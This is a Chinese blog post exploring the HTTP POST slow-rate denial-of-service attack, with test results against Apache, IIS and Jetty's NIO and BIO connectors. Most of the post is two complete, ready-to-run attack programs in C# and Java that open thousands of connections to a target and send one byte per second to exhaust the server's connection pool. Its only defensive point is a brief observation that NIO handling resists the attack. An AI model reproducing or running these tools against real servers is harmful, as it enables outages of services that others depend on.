HTTP POST慢速DOS攻击初探

 

1. 关于HTTP POST慢速DOS攻击

HTTP Post慢速DOS攻击第一次在技术社区被正式披露是今年的OWASP大会上,由Wong Onn Chee 和 Tom Brennan共同演示了使用这一技术攻击的威力

 

这个攻击的基本原理如下:

针对任意HTTP Server,建立一个连接,指定一个比较大的content-length,然后以很低的速度发包,比如10-100s发一个字节,hold住这个连接不断开。如果客户端持续建立这样的连接,那么服务器上可用的连接将很快被占满,从而导致DOS.

这一攻击引起我注意的原因有这几点:

1. 它可以针对任意Web服务。HTTP协议在接收到request之前是无法对请求内容作校验的,所以即使你的Web应用没有可用form表单,这个攻击一样有效。

2. 廉价。在客户端以单线程方式建立较大数量的无用连接,并保持持续发包的代价非常低廉。实际试验中一台普通PC可以建立的Socket连接在3000个以上。这对一台普通的web server,将是致命的打击。更不用说结合肉鸡群做分布式DOS了。

2. 攻击示范

为演示这个攻击,我做了一个简单的POC,C#代码如下。

using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets;
using System.Threading;
namespace HTTPPostDoS
{
    class TestDemo
    {
        static void Main(string[] args)
        {
            string host = "target";
            int port = 8080;
            int max_number_of_connection = 3000;
            List<TcpClient> clients = new List<TcpClient>();
            for (int i = 0; i < max_number_of_connection; i++)
            {
                TcpClient client = new TcpClient();
                clients.Add(client);
                client.Connect(host, port);
                if (client.Connected)
                {
                    string header = "POST /a HTTP/1.1\r\n" +
                                    "HOST: " + host + "\r\n" +
                                    "Connection: keep-alive\r\n" +
                                    "Keep-Alive: 900\r\n" +
                                    "Content-Length: 100000000\r\n" +
                                    "Content_Type: application/x-www-form-urlencoded\r\n" +
                                    "Accept: *.*\r\n";
                    int sent = client.Client.Send(System.Text.Encoding.Default.GetBytes(header));
                    if (sent <= 0)
                    {
                        Console.WriteLine("Error while connecting to server");
                    }
                    else
                    {
                        Console.WriteLine("Connected");
                    }
                }
            }
            while (true)
            {
                int i = 0;
                foreach (TcpClient client in clients)
                {
                    i++;
                    client.Client.Send(System.Text.Encoding.Default.GetBytes("a"));
                    Console.WriteLine("Client " + i + " just sent a byte.");
                }
                Thread.Sleep(1000);
            }
        }
    }
}


java代码如下:

package com.test.dos;

import java.io.OutputStream;
import java.io.PrintWriter;
import java.net.Socket;
import java.util.ArrayList;
import java.util.List;

public class TestDos {
	
	public static void main(String[] args) throws Exception{
		String host = "localhost";
		int port = 90;
		int max_number_of_connection = 3000;
		List<Socket> clients = new ArrayList<Socket>();
		for(int i=0;i<max_number_of_connection;i++){
			Socket client = new Socket(host,port);
			clients.add(client);
			OutputStream os = client.getOutputStream();
			PrintWriter pw=new PrintWriter(os);
			String header = "POST /a HTTP/1.1\r\n" +
            "HOST: " + host + "\r\n" +
            "Connection: keep-alive\r\n" +
            "Keep-Alive: 900\r\n" +
            "Content-Length: 100000000\r\n" +
            "Content_Type: application/x-www-form-urlencoded\r\n" +
            "Accept: *.*\r\n";
			pw.print(header);
			pw.flush();
			System.out.println("success ----------");
			
		}
		while(true){
			int k = 0;
			for(Socket ct:clients){
				k++;
				PrintWriter pwt =new PrintWriter(ct.getOutputStream());
				pwt.print("a");
				pwt.flush();
				System.out.println("client"+k+"send");
			}
			Thread.sleep(1000);
		}
	}

}


 

这段代码向目标服务器的示例Web Server发起攻击,每秒钟向服务器post一个字节以保证连接不会过期。

这个攻击对Apache的效果十分明显,Apache的maxClients几乎在瞬间被hold住,浏览器在攻击进行期间无法访问测试页面。

但是针对IIS的攻击被证明没有效果,同时我还测试了公司使用最多的Jetty,有了更多有意思的发现。

3. Jetty Server 在NIO和BIO模式下对此攻击的不同反应

在针对Jetty做测试时,我发现针对不同的Jetty Connector配置,攻击的效果有天壤之别。

我们知道Jetty在配置Connector时,可以有NIO和BIO两种模式供选择。当使用BIO模式时,Jetty的max thread被瞬间耗尽,服务停止。但是在使用NIO模式时,即使客户端的恶意socket连接数已经达到3000个,但是服务依然没有受到任何影响。这个应该很好理解,由于这两种模式下的Connector直接影响到服务端处理Socket的模型。IIS的情况我不是很清楚,但是猜测MS在实现时采用了NIO Socket模型。

详细的配置情况,请参见Jetty的官方文档

其它的Web Server,我没有做进一步测试。如有兴趣请自行验证。

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值